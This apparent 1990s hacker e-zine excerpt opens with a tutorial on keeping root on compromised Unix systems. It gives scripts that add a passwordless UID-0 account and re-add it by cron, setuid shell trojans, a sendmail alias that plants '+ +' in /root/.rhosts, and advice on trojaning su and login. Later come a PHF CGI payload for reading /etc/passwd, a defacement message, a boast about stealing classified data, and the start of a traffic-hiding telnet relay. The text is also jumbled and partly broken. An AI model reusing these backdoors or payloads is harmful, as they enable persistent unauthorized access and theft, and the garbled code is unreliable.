to before... You're all set, telnet localhost and test it!@~# Backdoor II: Da beauty of CRON ------------------------------- Ok, cron trojans are good for keeping root if the admin kills the backdoor. A Cron is a timed daemon. It consits of hours, minutes, etc. It will make the system automatically issue a command on the shell at a given time of your choice... Type crontab in the shell. It will tell you how to list, run and remove crons. You will like to look at the /var/spool/cron/crontabs/root. This is what the crons will look like: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1: munute, 0-59 2: hour, 0-23 3: day of month, 1-31 4: month of yeat, 1-12 5: day of week, 0-6 6: command to execute The example above is issued on monday's. If you want to exploit the cron, simply add an cron line to the /var/spool/crontab/root. ie: If you use the UID 0 account (as seen later), you can make a cron to see if the UID 0 account is still alive. If root killed it, the cron can re-add it! ...This will make the UID 0 account, just for back-up: Cron #1 ------- newuser.sh ---------- #!/bin/sh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # [email protected] set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each $or approximately that$. split -$linecount[1] ./temppass # passwd string optional echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... *** NOTE : MODIFY THE ECHO "YOURUSER..." PART!! Here is a script that kinda does the same thing, but instead of making a new account, it will look for an old, disabled account and enable it just for you : dead.sh ------- #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.yourlittleshell # Don't name it that... chmod 4755 /tmp/.yourlittleshell Ok, here is where the cron comes in. It will look in the passwd files to check if you YouUser is still alive. If not, it brings him back! revive.sh --------- #!/bin/sh #Is YourUser still on the system? Let's make sure he is. #[email protected] set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string option echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif cron #2 ------- First of all, you will need a copy of the /etc/passwd file in a hidden location. For this example, we will use /var/spool/mail/.hidepass. We have one entry in it that will be are root account we will use. Then lets make a cron that will save a copy of the real /etc/passwd file and install the hidden passwd file as the real one for 1 minute at a time of your choice. Make it at a slow time of day because any one who tries to access the passwd file durring this minute will get an error. 4:30 am is a good time. Put this in the roots cron to do this : 29 4 * * * /bin/usr/hidenhidenpass ..make sure this exist #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.hidden here is the /bin/usr/hidenhidenpass .hidden ------- #!/bin/sh # Install trojan /etc/passwd file for one minute #[email protected] cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd Cron #3 -------- This is a c script that will work like the above. Cron it as root like as above and just let this file load every day. hidden.c -------- #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ ============================================================================= section 5: ============================================================================= Sendmail backdoor : ------------------- With this, you have to edit the /etc/aliases file. add this line: decode: |/usr/bin/uudecode make sure u hide it in their so it aint odvious :). the uudecode file will be a .rhosts file with the full pathname embedded. here is the script: uudecode.sh ----------- #!/bin/sh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Ok, now telnet to victumserver.com at port 25. Fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. Here is an easy one (but not fake): echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected] You can add any program that I have listed to be ran from the alias, so be as creative as u want! :) ============================================================================= section 6: ============================================================================= Others : Here is one of the best trojans I have seen. It is sneeky and only detectable by programs like tripwire. All you have to do is put the trojan code into a the source of some popular system programs. su, login, and passwd are very good to add it to because they run a SUID root and don't have strict permission so you can modify it. This will tell you what to do after u get the source code for the particular UNIX system you are backdooring. If you can't get the source for any programs on your system, u may be screwed :(. You can find trojaned versions of many programs, here is a small example of pseudo-code that is added in such programs... get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... ============================================================================= section 7: ============================================================================= Keeping the backdoor : Well, the best advice I can possibly give to start off is to cover your tracks. If the admin doesn't know he's been hacked, he won't look for backdoors to remove. This will totaly depend on the admins ability to find backdoors and know how to get rid of them. �� 7.

Some History : nobody �� Electronic doom will soon be visited on U.S. computer networks by information warriors, hackers, pannational groups of computer-wielding religious extremists, possible agents of Libya and Iran, international thugs and money-mad Internet savvy thieves. John Deutch, director of Central Intelligence, testified to the truth of the matter, so it must be graven in stone. In a long statement composed in the august tone of the Cold Warrior, Deutch said to the Senate Permanent Subcommittee on Investigations on June 25, "My greatest concern is that hackers, terrorist organizations, or other nations might use information warfare techniques" to disrupt the national infrastructure. The lack of solid evidence for any of the claims made by the intelligence community has created an unusual stage on which two British hackers, Datastream Cowboy and Kuji, were made the dog and pony in a ridiculous show to demonstrate the threat of information warfare to members of Congress. Because of a break-in at an Air Force facility in Rome, NY, in 1994, booth hackers were made the stars of two Government Accounting Office reports on network intrusions in the Department of Defense earlier this year. The comings and goings of Datastream Cowboy also constitute the meat of Gelber and Christy's minority staff report from the Subcommittee on Investigations. Before delving into it in detail, it's interesting to read what a British newspaper published about Datastream Cowboy, a sixteen year-old, about a year before he was made the poster boy for information warfare and international hacking conspiracies in front of Congress. In a brief article, blessedly so in contrast to the reams of propaganda published on the incident for Congress, the July 5 1995 edition of The Independent wrote, "[Datastream Cowboy] appeared before Bow Street magistrates yesterday charged with unlawfully gaining access to a series of American defense computers. Richard Pryce, who was 16 at the time of the alleged offences, is accused of accessing key US Air Force systems and a network owned by Lockheed, the missile and aircraft manufacturers." Pryce, a resident of a northwest suburb of London did not enter a plea on any of 12 charges levied against him under the British Computer Misuse Act. He was arrested on May 12, 1994, by New Scotland Yard as a result of work by the U.S. Air Force Office of Special Investigations. The Times of London reported when police came for Pryce, they found him at his PC on the third floor of his family's house. Knowing he was about to be arrested, he "curled up on the floor and cried." In Gelber and Christy's staff report, the tracking of Pryce, and to a lesser extent a collaborator called Kuji -- real name Mathew Bevan, is retold as an eight page appendix entitled "The Case Study: Rome Laboratory, Griffiss Air Force Base, NY Intrusion." Pryce's entry into Air Force computers was noticed on March 28, 1994, when personnel discovered a sniffer program he had installed on one of the Air Force systems in Rome. The Defense Information System Agency (DISA) was notified. DISA subsequently called the Air Force Office of Special Investigations (AFOSI) at the Air Force Information Warfare Center in San Antonio, Texas. AFOSI then sent a team to Rome to appraise the break-in, secure the system and trace those responsible. During the process, the AFOSI team discovered Datastream Cowboy had entered the Rome Air Force computers for the first time on March 25, according to the report. Passwords had been compromised, electronic mail read and deleted and unclassified "battlefield simulation" data copied off the facility. The Rome network was also used as a staging area for penetration of other systems on the Internet. AFOSI investigators initially traced the break-in back one step to the New York City provider, Mindvox. According to the Congressional report, this put the NYC provider under suspicion because "newspaper articles" said Mindvox's computer security was furnished by two "former Legion of Doom members." "The Legion of Doom is a loose-knit computer hacker group which had several members convicted for intrusions into corporate telephone switches in 1990 and 1991," wrote Gelber and Christy. AFOSI then got permission to begin monitoring -- the equivalent of wiretapping -- all communications on the Air Force network. Limited observation of other Internet providers being used during the break-in was conducted from the Rome facilities. Monitoring told the investigators the handles of hackers involved in the Rome break-in were Datastream Cowboy and Kuji. Since the monitoring was of limited value in determining the whereabouts of Datastream Cowboy and Kuji, AFOSI resorted to "their human intelligence network of informants, i.e., stool pigeons, that 'surf the Internet.' Gossip from one AFOSI 'Net stoolie uncovered that Datastream Cowboy was from Britain. The anonymous source said he had e-mail correspondence with Datastream Cowboy in which the hacker said he was a 16-year old living in England who enjoyed penetrating ".MIL" systems. Datastream Cowboy also apparently ran a bulletin board system and gave the telephone number to the AFOSI source. The Air Force team contacted New Scotland Yard and the British law enforcement agency identified the residence, the home of Richard Pryce, which corresponded to Datastream Cowboy's system phone number. English authorities began observing Pryce's phone calls and noticed he was making fraudulent use of British Telecom. In addition, whenever intrusions at the Air Force network in Rome occurred, Pryce's number was seen to be making illegal calls out of Britain. Pryce travelled everywhere on the Internet, going through South America, multiple countries in Europe and Mexico, occasionally entering the Rome network. From Air Force computers, he would enter systems at Jet Propulsion Laboratory in Pasadena, California, and the Goddard Space Flight Center in Greenbelt, Maryland. Since Pryce was capturing the logins and passwords of the Air Force networks in Rome, he was then able to get into the home systems of Rome network users, defense contractors like Lockheed. By mid-April of 1994 the Air Force was monitoring other systems being used by the British hackers. On the 14th of the month, Kuji logged on to the Goddard Space Center from a system in Latvia and copied data from it to the Baltic country. According to Gelber's report, the AFOSI investigators assumed the worst, that it was a sign that someone in an eastern European country was making a grab for sensitive information. They broke the connection but not before Kuji had copied files off the Goddard system. As it turned out, the Latvian computer was just another system the British hackers were using as a stepping stone; Pryce had also used it to cover his tracks when penetrating networks at Wright-Patterson Air Force Base in Ohio, via an intermediate system in Seattle, cyberspace.com. The next day, Kuji was again observed trying to probe various systems at NATO in Brussels and The Hague as well as Wright-Patterson. On the 19th, Pryce successfully returned to NATO systems in The Hague through Mindvox. The point Gelber and Christy seem to be trying to make is that Kuji, a 21-year old, was coaching Pryce during some of his attacks on various systems. By this point, New Scotland Yard had a search warrant for Pryce with the plan being to swoop down on him the next time he accessed the Air Force network in Rome. In April, Pryce penetrated a system on the Korean peninsula and copied material off a facility called the Korean Atomic Research Institute to an Air Force computer in Rome. At the time, the investigators had no idea whether the system was in North or South Korea. The impression created is one of hysteria and confusion at Rome. There was fear that the system, if in North Korea, would trigger an international incident, with the hack interpreted as an "aggressive act of war." The system turned out to be in South Korea. During the Korean break-in, New Scotland Yard could have intervened and arrested Pryce. However, for unknown reasons, the agency did not. Those with good memories may recall mainstream news reports concerning Pryce's hack, which was cast as an entry into sensitive North Korean networks. It's worth noting that while the story was portrayed as the work of an anonymous hacker, both the U.S. government and New Scotland Yard knew who the perpetrator was. Further, according to Gelber's report English authorities already had a search warrant for Pryce's house. Finally, on May 12 British authorities pounced. Pryce was arrested and his residence searched. He crumbled, according to the Times of London, and began to cry. Gelber and Christy write that Pryce promptly admitted to the Air Force break-ins as well as others. Pryce confessed he had copied a large program that used artificial intelligence to construct theoretical Air Orders of Battle from an Air Force computer to Mindvox and left it there because of its great size, 3-4 megabytes. Pryce paid for his Internet service with a fraudulent credit card number. At the time, the investigators were unable to find out the name and whereabouts of Kuji. A lead to an Australian underground bulletin board system failed to pan out. On June 23 of this year, Reuters reported that Kuji -- 21-year-old Mathew Bevan -- a computer technician, had been arrested and charged in connection with the 1994 Air Force break-ins in Rome. Rocker Tom Petty sang that even the losers get lucky some time. He wasn't thinking of British computer hackers but no better words could be used to describe the two Englishmen and a two year old chain of events that led to fame as international computer terrorists in front of Congress at the beginning of the summer of 1996. Lacking much evidence for the case of conspiratorial computer-waged campaigns of terror and chaos against the U.S., the makers of Congressional reports resorted to telling the same story over and over, three times in the space of the hearings on the subject. One envisions U.S. Congressmen too stupid or apathetic to complain, "Hey, didn't we get that yesterday, and the day before?" Pryce and Bevan appeared in "Security in Cyberspace" and twice in Government Accounting Office reports AIMD-96-84 and T-AIMD96-92. Jim Christy, the co-author of "Security in Cyberspace" and the Air Force Office of Special Investigations' source for the Pryce case supplied the same tale for Jack Brock, author of the GAO reports. Brock writes, ". . . Air Force officials told us that at least one of the hackers may have been working for a foreign country interested in obtaining military research data or areas in which the Air Force was conducting advanced research." It was, apparently, more wishful thinking. This years UK hacking conference : Access All Areas. http://www.access.org.uk July 5th. �� 2. [GUNNAR], MadSeason and sIn : so1o �� Some dudes called MadSeason and [GUNNAR] has been proving sIn's true lameness and logging it all at the same time, phear elite logging skills... ################################################################################## # # # Darkfool # # (What a Fool/The PHF hacker) # # BY [GUNNAR] # # # ################################################################################## Ever read a hacking txt by this guy? Ever realize just how useless the information his txt's are? Nothing in his txt files aren't covered in a hundred text files written before which better explain hacking techniques. Like a quote from my pal MadSeason goes: "The fact is these txt files about hacking and phreaking are written by people with minimal knowledge. Then you have some newbie who comes along wanting to be some hacker god and reads a few files and has even less of a clue then the writer had about the subject, then goes around spewing out bullshit and claiming they are a hacker and/or phreaker, just an endless circle of ignorance." That quote is so true. All these hack txt's realeased by these groups like S.I.N. and Techonophoria are just crap. About the only exploit that Darkfool knows the the PHF bug found in older versions of NCSA and Apache httpd. This bug is very well know(And over exploited might I add.). Do a search for ac.jp or edu.au domains, and adding to the address "cgi-bin/phf?Qalias=x%0a/bin/cat%20 /etc/passwd" is neither impressive nor is it even hacking. It's a lame excuse for hacking. Darkfool claims many things that he doesn't know. For instance, take pascal programming. He claims to know it, but when asked a single question on it by, Scorpion(MadSeason), he cannot answer. Here is a little something: [13:53] How many parameters do Cluster object constructors take in pascal, DF? [13:53] i have no idea scorpion [13:54] I thought you knew Pascal [13:54] i am learning it at college There is a big difference between knowing and learning. I guess Darkfool doesn't realize that. It's all a part of trying to sound and seem "elite". Which Darkfool is far from being. Seems as thought Darkfool and the rest of his S.I.N. pals are compying MadSeason and myself, and questioning peoples abilities. It's funny though, when MadSeason and I got to #sin questioning them, we get kicked for making them look stupid. And when they as us something, and it doesn't go quite as they planned it. Look what they do... [14:14] *** Now talking in #sin [14:15] hey [14:15] how do i kill all jobs running on a shell ? <[GUNNAR]> Well hello there! [14:15] hey <[GUNNAR]> kill -9 PID <[GUNNAR]> If you really wanna kill it. <[GUNNAR]> Boo Hoo. <[GUNNAR]> Damn, that one didn't go well for you did it? <[GUNNAR]> BTW, use the ps command to get the PID. <[GUNNAR]> la la la la... [14:17] *** Sinning sets mode: +b *!*@*.wco.com [14:17] *** You were kicked by Fa|lur3 (banned) In short, Darkfool, S.I.N. and the rest like him are really just wannabes trying to sound big and bad. Nothing wrong with groups or people who actually hack. But, when you have a group like S.I.N. who's members claim more than they know, it is truely sad. I myself and no great hacker(I'm not a hack. Plain and simple.) nor am I some s00per programmer. But the thing is, I do not claim more than I actually know. This is obviously not how Darkfool thinks of things. He wants to be known as a s00per hacker, which he is not. I'm writing this so you(The Readers) don't buy into this bullshit and be misled by people like Darkfool and the group he is in S.I.N.! They are truely sad people. What a shame I have brought out the truth! I think more is somewhere on http://www.ilf.net/teknopia/ �� 3.

Welcome To The [D]epartment of [O]wned [E]nergy

You could define this as an act of aggression, or you could define it as us, the hackers (or crackers), just adivising you to try and make it more difficult for us, at least employ consultants etc. who have a CLUE. because one day, in the not so distant future, the internet equivalent of Pearl Harbour will occur, and we will only be around to say "We told you so", until that day, we will keep reminding you, get some security, its better for you, its better for us, its better for everyone.

In this case, even though your system runs HP-UX, we advise you still take the time to look into all the exploits that are available for this operating system, and then get over to www.cert.org to find some advisories.

This attack was brought to you in association with 0range Amusements.

Greets to so1o, helix, xFli, modeX, c0d, xrx, zer0x, organik, phractal chaos and all the usual suspects.

Confidence Remains High Issue 4 : Tetsu Khan �� Issue 4 will be out at the beginning of September, so to last you through the long hot summer nights, we present the special summer issue of Confidence Remains High. Nothing really new in this edition, just a few programs to keep you thinking through the summer, as well as some cool submissions by members of Digital Darkness. But when you bundle this with CRH issue 3, it becomes cool :) Confidence Remains High distro site list... ------------------------------------------- http://insecurity.insecurity.org/codez/ http://www.r0ot.org http://www.exceed.net http://www.7thsphere.com/hpvac/hacking.html ftp://ftp.sekurity.org/users/so1o/ ...And alot of other sites, just go looking around. �� 2. The network is our playground : so1o �� Just sit back for a few minutes and consider how much power we have as hackers, from our Linux boxes, or Wind0ze systems, we can connect to many thousands of Government or Military sites, as well as company networks where useful information such as credit card details can easily be found, all we need is the knowledge of holes in such systems, the means to exploit these holes, and the skills needed to "root" the system, thats all it takes. In 15 minutes, a hacker could 0wn many important NASA systems, and then proceed to pull the following types of files from such a system... - Personnel information. - Mission reports and test results. - Satellite programs and information. - Future mission dates. Or say it was a military system, then that hacker, if he knew what he was doing would be able to gain access (with relative ease) to the following kinds of files... - Personnel information. - Weapons reports. - Tactical analysis. - Future mission dates. - Intelligence papers. Lets say that a hacker was to attack a company, such as Intel, then he would be able to access... - Product test results. - Internal mail between users. - Future plans or products. - Blueprints. ... then that hacker could sell off that companies research and development reports to others, and make some ca$h. It is clear to see, that from the power we have by just owning a computer and a modem is quite huge in the right hands, and that it is pretty simple to go out and find yourself some classified information if you really want to. �� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== �� 1.

Telnet gateway : Chaos �� /* (--------------------------------------------------------) Telnet Gateway by Chaos (--------------------------------------------------------) Ever worry about some egotistical sysadmin getting pissed off when you hack his system, and having him trace it back to your local system? If you are like most hackers, even if you are careful and telnet through another system first, it is still fairly easy to trace back through. Using the following program bellow you can make it a real bitch for anyone to find where you are coming from, let alone what account. This program, which has only been tested on Sun OS, will allocate a port and set up a telnet gateway. Because this program only allocates a socket, in order for someone to trace it back to you, the sysadmin of the system it is set up on would have to monitor the socket and see where the connection is coming from, which is not very likely, the sysadmin already has plenty to do. This is setup currently to port 6969 and will run in the background. Be sure to call it something that will not gather any suspicion from anyone running ps -aux. This will also write to the file log, the date and time anyone uses the telnet gateway. Have phun! Thanks go out to al- for the original source code. */ #include #include #include #include #include #include #include #include
